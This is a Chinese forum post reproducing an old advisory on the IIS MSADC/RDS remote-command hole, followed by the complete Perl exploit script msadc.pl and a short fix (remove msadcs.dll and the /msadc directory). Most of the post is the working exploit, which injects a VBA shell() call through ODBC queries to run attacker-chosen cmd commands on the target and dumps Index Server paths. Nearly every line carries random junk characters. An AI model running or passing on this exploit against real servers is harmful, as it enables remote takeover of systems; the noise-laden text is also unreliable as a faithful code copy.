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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) kA__*b}8UK  
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涉及程序: 'c&@~O;^d  
Microsoft NT server AxlFU~E4  
VA'X!(Cv  
描述: (0W}e(D8  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ht)nx,e=  
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详细: P]"d eB|  
如果你没有时间读详细内容的话,就删除: -j_I_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll </gp3WQ.  
有关的安全问题就没有了。 | ",[C3Jg  
9T2A)a]0  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 c^O#O  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1~DD9z  
关于利用ODBC远程漏洞的描述,请参看: 1?|6odc  
\bm6/fhA:  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm lt6;*z[  
{|Ki^8h/p  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2BDan^:-Av  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp lVdT^"~3  
|90 +)/$4  
这里不再论述。 >:E* 7  
4iNbK~5j  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: H:-A; f!Z  
`E5"Pmg  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset l(#ke  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! W Gw!Y1wq  
eQFb$C]R}y  
@f{_=~+  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Y#&0x_Z  
\c~{o+UD-  
#!perl 6WN(22Io  
# ; ,=h59`  
# MSADC/RDS 'usage' (aka exploit) script rS )b1nPA  
# wB>S\~i  
# by rain.forest.puppy =+`j?1  
# pEVgJ/>  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :X1cA3c!  
# beta test and find errors! g&+Y{*Gp  
T5S g2a1&  
use Socket; use Getopt::Std; P:(EU s}0  
getopts("e:vd:h:XR", \%args); %gu$_S  
*)bd1B#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ZSPgci  
g T XW2S  
if (!defined $args{h} && !defined $args{R}) { yYToiW *  
print qq~ ')5L_$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } h zZ-$IX X  
-h <host> = host you want to scan (ip or domain) jefNiEE[  
-d <seconds> = delay between calls, default 1 second iog # ,  
-X = dump Index Server path table, if available >H}jR[H'  
-v = verbose 1a&/Zlr  
-e = external dictionary file for step 5 Y:%m;b$]  
%e Sm&`  
Or a -R will resume a command session b+IOh|  
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~; exit;} > X[|c"l.  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; {jOzap|  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} rToaGQh  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} -".kH<SWv  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); - J"qrpZ^  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 7-".!M  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } s]y-pZ  
VyecTU"W  
if (!defined $args{R}){ $ret = &has_msadc; d&[iEU  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 894r;UA7  
Y^R?Q'  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =`qRu  
. "cmd /c "; 'y4zBLY  
$in=<STDIN>; chomp $in; ]8$#qDS@  
$command="cmd /c " . $in ; . [T'yc:=  
1l/AKI(!  
if (defined $args{R}) {&load; exit;} /"""z=q  
*A?8F"6>  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .P)s4rQ\  
&try_btcustmr; WI1T?.Gc   
_1>SG2h{fV  
print "\nStep 2: Trying to make our own DSN..."; [D3+cDph  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; j)jCu ;`  
-7>^ rR V  
print "\nStep 3: Trying known DSNs..."; dqqnCXYuW  
&known_dsn; |DN^NhtE  
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print "\nStep 4: Trying known .mdbs..."; >=if8t!  
&known_mdb; wgY6D!Y   
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if (defined $args{e}){ 1ZT^)/G  
print "\nStep 5: Trying dictionary of DSN names..."; SQ}S4r  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } >M?H79fF2s  
HSNOL  
print "Sorry Charley...maybe next time?\n"; i=oTg  
exit; f:]u`ziM  
XZ.7c{B<  
############################################################################## N 0+hejz  
RX:R*{]-  
sub sendraw { # ripped and modded from whisker O!;H}{[dg  
sleep($delay); # it's a DoS on the server! At least on mine... {!L=u/qs"  
my ($pstr)=@_; l+%Fl=Q2em  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || U+-F*$PO+  
die("Socket problems\n"); qQ^d9EK'?~  
if(connect(S,pack "SnA4x8",2,80,$target)){ n_v02vFAHT  
select(S); $|=1; E W`W~h[  
print $pstr; my @in=<S>; rwy+~  
select(STDOUT); close(S); jz*0`9&_  
return @in; 7 0_}S*T  
} else { die("Can't connect...\n"); }} '=VH6@vZ_'  
z&O#v9.NE|  
############################################################################## S+r^B?a<oM  
^w.]Hd 2  
sub make_header { # make the HTTP request 7%e1cI  
my $msadc=<<EOT gNqAj# m  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 kd yAl,  
User-Agent: ACTIVEDATA mjbTy"}"  
Host: $ip I?B,sl_w  
Content-Length: $clen /0(%(2jIWl  
Connection: Keep-Alive zX98c  
1I ""X]I_  
ADCClientVersion:01.06 /hL\,x 2  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 _ Hc%4I  
A_Rrcsl4  
--!ADM!ROX!YOUR!WORLD! P$_&  
Content-Type: application/x-varg XIKvH-0&  
Content-Length: $reqlen I7~|~<  
6ZcXS  
EOT gljo;f:  
; $msadc=~s/\n/\r\n/g; "tUwo(K[  
return $msadc;} @o6R[5(  
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############################################################################## YScvyh?E  
{=67XrWN1  
sub make_req { # make the RDS request _g~2R#2Q  
my ($switch, $p1, $p2)=@_; 5MR,UgT  
my $req=""; my $t1, $t2, $query, $dsn; YlTaN,?j  
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if ($switch==1){ # this is the btcustmr.mdb query sef]>q  
$query="Select * from Customers where City=" . make_shell(); ziiwxx_  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . `rlk|&T1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} c+g@Z"es  
zyFUl%  
elsif ($switch==2){ # this is general make table query O(c@PJem  
$query="create table AZZ (B int, C varchar(10))"; 0mTr-`s  
$dsn="$p1";} l(!/Q|Q|  
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elsif ($switch==3){ # this is general exploit table query Qs%B'9")  
$query="select * from AZZ where C=" . make_shell(); "u492^  
$dsn="$p1";} Y]Vq\]m\  
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elsif ($switch==4){ # attempt to hork file info from index server eVJ^\z:4  
$query="select path from scope()"; bWmw3w  
$dsn="Provider=MSIDXS;";} Z.1> kZ  
B $XwTJ>  
elsif ($switch==5){ # bad query XogVpkA  
$query="select"; UG](go't  
$dsn="$p1";} Rko M~`CT  
36vgX=}  
$t1= make_unicode($query); <CZgQ\Mt  
$t2= make_unicode($dsn); r^1+cwy/7P  
$req = "\x02\x00\x03\x00"; *2e!M^K<  
$req.= "\x08\x00" . pack ("S1", length($t1)); E=$p^s  
$req.= "\x00\x00" . $t1 ; ) #+^ sAO  
$req.= "\x08\x00" . pack ("S1", length($t2)); H C0w;MG)  
$req.= "\x00\x00" . $t2 ; ~b)74M/  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Gh\q^?}  
return $req;} = a}b+(R  
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############################################################################## }D;WN@],  
@7 <uMasfp  
sub make_shell { # this makes the shell() statement [{ ~TcT  
return "'|shell(\"$command\")|'";} \r {W  
F_H82BE+3  
############################################################################## yN6>VD{F  
bt$)Xu<R  
sub make_unicode { # quick little function to convert to unicode :O= \<t  
my ($in)=@_; my $out; [p;E~-S  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } CAD@XZSh  
return $out;} AUe# RP  
5d\q-d  
############################################################################## XYr J/!*.  
ye}p~&  
sub rdo_success { # checks for RDO return success (this is kludge) jE\Sm2G9  
my (@in) = @_; my $base=content_start(@in); &--ej|n  
if($in[$base]=~/multipart\/mixed/){ .6f%?oo  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} '#/G,%m<!i  
return 0;} qIMA6u/  
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############################################################################## !\Xm!I8  
eKvV*[N a  
sub make_dsn { # this makes a DSN for us i0jBZW"_1$  
my @drives=("c","d","e","f"); =#gEB#$x:  
print "\nMaking DSN: "; [`RX*OH2  
foreach $drive (@drives) { QPt Gdd  
print "$drive: "; kOo~%kcQ'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  rl2&^N  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" d5 7i)=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ?';OD3-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; mtz#}qD66  
return 0 if $2 eq "404"; # not found/doesn't exist GVHV =E  
if($2 eq "200") { YjOs}TD lx  
foreach $line (@results) { 9}a_:hAy/  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 29CINC  
} return 0;} ,JU@|`  
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############################################################################## sm[94,26  
w@JKl5  
sub verify_exists { &F STpBu  
my ($page)=@_; ,1OyN]f3  
my @results=sendraw("GET $page HTTP/1.0\n\n"); X3'H `/  
return $results[0];} |sRipWh  
>{\7&}gz  
############################################################################## AdRX`[ik  
^j-3av=  
sub try_btcustmr { 4vBL6!z:Z  
my @drives=("c","d","e","f"); 0c K{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `;%]'F0`  
)jrV#/m9  
foreach $dir (@dirs) { ZaNQpH.  
print "$dir -> "; # fun status so you can see progress y6]vl=^L  
foreach $drive (@drives) { Uf}\p~;  
print "$drive: "; # ditto p-.n3AL  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; p+)YTzzc  
$reqlenlen=length( "$reqlen" ); 9]q:[zm^  
$clen= 206 + $reqlenlen + $reqlen; P#=`2a#G  
|2{wG 4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8Q_SRwN  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \=_{na_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} o=0]el^A  
e=O,B8)_  
############################################################################## c("_bOAT  
BcI |:qv|  
sub odbc_error { dAy?EO0\7  
my (@in)=@_; my $base; h@a+NE8  
my $base = content_start(@in); b0oMs=uBn  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this fW?o@vlO  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l ok=  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; s6>ZREf#J  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l+V>]?j  
return $in[$base+4].$in[$base+5].$in[$base+6];} !"Oh3 6  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; *QH28%^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . |P%Jw,}]9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} =Q\r?(Iy  
Dc,I7F|%  
############################################################################## I'LnI*  
vh$%9ed  
sub verbose { 6Oy$gW)  
my ($in)=@_; N0r16# -g  
return if !$verbose; 9g<7i  
print STDOUT "\n$in\n";} /FRm2m83  
5k.oW=  
############################################################################## &G-!qxe  
4M2j!Sw  
sub save { !_Wi!Vr_  
my ($p1, $p2, $p3, $p4)=@_; B8}Nvz /  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; qw^uPs7Uw  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; (=om,g}  
close OUT;} cH&J{WeZa  
xU4 +|d  
############################################################################## #~ )IJ  
H5Io{B%=  
sub load { rogT~G}q  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ye,>A.  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); oaIi2=Tf  
@p=<IN>; close(IN); W>j!Q^?  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  z62;cv  
$target= inet_aton($ip) || die("inet_aton problems"); r/u A.Aou^  
print "Resuming to $ip ..."; XMxSQ B1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; QD0"rxZJ  
if($p[1]==1) { q-}Fvel u  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; # mV{#B=  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; .N ,3 od@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1ng!G 7g  
if (rdo_success(@results)){print "Success!\n";} N/MUwx;P  
else { print "failed\n"; verbose(odbc_error(@results));}} 2h5nMI]'  
elsif ($p[1]==3){ YTUZoW2  
if(run_query("$p[3]")){ 6">+ ~ G  
print "Success!\n";} else { print "failed\n"; }} -;^j:L{   
elsif ($p[1]==4){ OC BgR4I  
if(run_query($drvst . "$p[3]")){ CEX " D`  
print "Success!\n"; } else { print "failed\n"; }} \1^^\G>H5  
exit;} R#%(5-Zu#R  
YS/Yd[ e  
############################################################################## @$[?z9ck"  
W04@!_) <  
sub create_table { tMf}   
my ($in)=@_; lh7jux  
$reqlen=length( make_req(2,$in,"") ) - 28; >n'o*gZM  
$reqlenlen=length( "$reqlen" ); t gI{`jS%  
$clen= 206 + $reqlenlen + $reqlen; sn obT Q  
my @results=sendraw(make_header() . make_req(2,$in,"")); um!J]N^  
return 1 if rdo_success(@results); *Q ?tl\E  
my $temp= odbc_error(@results); verbose($temp); |}=acc/  
return 1 if $temp=~/Table 'AZZ' already exists/; I ?gSG*m  
return 0;} Ya3C#=  
/5(Yy}  
############################################################################## ;f#v0W`5  
pNepC<rY  
sub known_dsn { &"&Z #llb  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,JAx ?Xb  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Yc_8r+;(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4|riKo)  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); gQ Fjr_IS#  
K|zZS%?$  
foreach $dSn (@dsns) { g jDh?I  
print "."; HK,cJah q  
next if (!is_access("DSN=$dSn")); ^o3"#r{:+  
if(create_table("DSN=$dSn")){ m% -g~q  
print "$dSn successful\n"; >3_jWFq  
if(run_query("DSN=$dSn")){ a, k'Vk{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7}f}$1   
print "Something's borked. Use verbose next time\n";}}} print "\n";} V58wU:li  
>,gg5<F-E  
############################################################################## Dz>^IMsY  
m0ER@BXRn  
sub is_access { ^1iSn)&  
my ($in)=@_; HHDl8lo  
$reqlen=length( make_req(5,$in,"") ) - 28; %7zuQ \w  
$reqlenlen=length( "$reqlen" ); LClNxm2X  
$clen= 206 + $reqlenlen + $reqlen; YVQN&|-  
my @results=sendraw(make_header() . make_req(5,$in,"")); >`Y.+4 mE  
my $temp= odbc_error(@results); ~ $Tkn_w#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); zi|+HM  
return 0;} rI= v  
zMbN;tu  
############################################################################## F, W~,y  
"& ])lz[u  
sub run_query { sqEI4~514  
my ($in)=@_; @e(o129  
$reqlen=length( make_req(3,$in,"") ) - 28; 8ja$g,  
$reqlenlen=length( "$reqlen" ); G`SUxhCk  
$clen= 206 + $reqlenlen + $reqlen; =XA;[PVx:#  
my @results=sendraw(make_header() . make_req(3,$in,"")); 6t>.[Y"v  
return 1 if rdo_success(@results); xHL( !P F  
my $temp= odbc_error(@results); verbose($temp); <sWprR  
return 0;} t2/#&J]  
&+Z,hs9%  
############################################################################## $7O}S.x  
UtPLI al  
sub known_mdb { e<3K;Q  
my @drives=("c","d","e","f","g"); *W.C7=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [B+yyBtx  
my $dir, $drive, $mdb; QQ%D8$k"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ',Y.v"']4  
mw_~*Nc'9  
# this is sparse, because I don't know of many qaY1xPWz"  
my @sysmdbs=( "\\catroot\\icatalog.mdb", l)G^cSHF.3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Z,sv9{4r  
"\\system32\\certmdb.mdb", 3.|S  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 13=A  
F<n3  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",  3,p]/Z_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", wT;0w3.Z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", -e_hrCW&9  
"\\cfusion\\cfapps\\security\\realm_.mdb", <v)1<*I  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", XG}C+;4Aw  
"\\cfusion\\database\\cfexamples.mdb", _wTOmz%|R  
"\\cfusion\\database\\cfsnippets.mdb", :}5j##N  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6g|*`x{  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", `b Fff %_  
"\\cfusion\\brighttiger\\database\\cleam.mdb", BzkooJ  
"\\cfusion\\database\\smpolicy.mdb", I9/W;# *~  
"\\cfusion\\database\cypress.mdb", E)TN,@%  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", YM1'L\^  
"\\website\\cgi-win\\dbsample.mdb", i*|\KM?P  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [<2<Y  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 2Z-ljD&  
); #these are just 0xxg|;h.,g  
foreach $drive (@drives) { iL7DRQ1  
foreach $dir (@dirs){ Jy)KqdkX+  
foreach $mdb (@sysmdbs) { xDG2ws=@D  
print "."; J#w J4!  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ +1uF !G&l  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; RP~|PtLw_  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ M.x=<:upp  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; '?!zG{x  
} else { print "Something's borked. Use verbose next time\n"; }}}}} B|R@5mjm  
=:&ly'QB&  
foreach $drive (@drives) { +b.g$CRr  
foreach $mdb (@mdbs) { 9{(.Il J>  
print "."; OjFLPGRCh  
if(create_table($drv . $drive . $dir . $mdb)){ isQ[ Gc!8  
print "\n" . $drive . $dir . $mdb . " successful\n"; "]"|"0#i  
if(run_query($drv . $drive . $dir . $mdb)){ 9Xj7~,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?\vh9  
} else { print "Something's borked. Use verbose next time\n"; }}}} '9S8}q  
} (MR_^t  
'_GrD>P)-  
############################################################################## qCljo5Tq'  
tZ'|DCT  
sub hork_idx { mp=z  
print "\nAttempting to dump Index Server tables...\n"; U* i{5/$  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ePr&!Tz#  
$reqlen=length( make_req(4,"","") ) - 28; /LvRP yj@  
$reqlenlen=length( "$reqlen" ); $* AYcy7  
$clen= 206 + $reqlenlen + $reqlen; T?x[C4wf+  
my @results=sendraw2(make_header() . make_req(4,"","")); qHuZcht  
if (rdo_success(@results)){ Ont%eC\  
my $max=@results; my $c; my %d; A Y*e@nk\  
for($c=19; $c<$max; $c++){ ,{BaePMp  
$results[$c]=~s/\x00//g; y`F3Hr c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; m;'6MHx;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ]~aF2LJ_q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _I)U%? V+  
$d{"$1$2"}="";} {zn!vJX  
foreach $c (keys %d){ print "$c\n"; } `+o 2DA)#(  
} else {print "Index server doesn't seem to be installed.\n"; }} 0 vtt"f)Y[  
`-(|>5wWS  
############################################################################## U^Q:Y}^  
h-G)o[MA  
sub dsn_dict { vr6MU<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); fQi4\m  
while(<IN>){ hEBY8=gK  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; >Db;yC&  
next if (!is_access("DSN=$dSn")); {@+Ty]e  
if(create_table("DSN=$dSn")){ ?AJKBW^  
print "$dSn successful\n"; ^G4 P y<s  
if(run_query("DSN=$dSn")){ +z9Q-d%O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { TygW0b 1  
print "Something's borked. Use verbose next time\n";}}} @6wFst\t  
print "\n"; close(IN);} E%r k[wI  
|N%fMPKa  
############################################################################## VFRi1\G  
l038%U~U!  
sub sendraw2 { # ripped and modded from whisker | N[<x@  
sleep($delay); # it's a DoS on the server! At least on mine... \/: {)T~  
my ($pstr)=@_; $wo?!gt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &Xf^Iu  
die("Socket problems\n"); Fs9I7~L3  
if(connect(S,pack "SnA4x8",2,80,$target)){ v2B0q4*BS?  
print "Connected. Getting data"; RxI(:i?  
open(OUT,">raw.out"); my @in; $npT[~U5  
select(S); $|=1; print $pstr; n 2)@S0{  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} nQ5n-A&["  
close(OUT); select(STDOUT); close(S); return @in; .(^ ,z&  
} else { die("Can't connect...\n"); }} D;;!ODX$?  
H@%GSE  
############################################################################## >'&p>Ad)  
xlA$:M&  
sub content_start { # this will take in the server headers [8T^@YN  
my (@in)=@_; my $c; I'uSp-Sfy  
for ($c=1;$c<500;$c++) { VXR>]HUF  
if($in[$c] =~/^\x0d\x0a/){ j2QmxTa!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #,":vr  
else { return $c+1; }}} b[o"7^H  
return -1;} # it should never get here actually 3'cE\u  
e[&L9U6GW-  
############################################################################## FaDjLo2'o  
8B\2Zfe  
sub funky { 3|'>`!hb  
my (@in)=@_; my $error=odbc_error(@in); Hn5|B 3vN  
if($error=~/ADO could not find the specified provider/){ M$/|)U'W  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Gn ~6X-l  
exit;} {q `jDDM  
if($error=~/A Handler is required/){ kBD>-5Sn_T  
print "\nServer has custom handler filters (they most likely are patched)\n"; tt0f-:#  
exit;} Y@N,qHtz  
if($error=~/specified Handler has denied Access/){ qI#;j%V  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2O.i\cH  
exit;}} #xX5,r0  
-* WXMzr  
############################################################################## 925|bX6I  
60J;sGW  
sub has_msadc { !cO]<CWPq  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _B/ dWA,P  
my $base=content_start(@results); gMWjk7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); @+Si?8\  
return 0;} bN]+_ mF  
6{n!Cb[e  
######################## 8FKXSqhVM  
zO).T M_  
=&ks)MH-  
解决方案: "Zl5<  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !F A]  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "D63I|O)  
M?Dfu .t  
拿出来充数 哈哈
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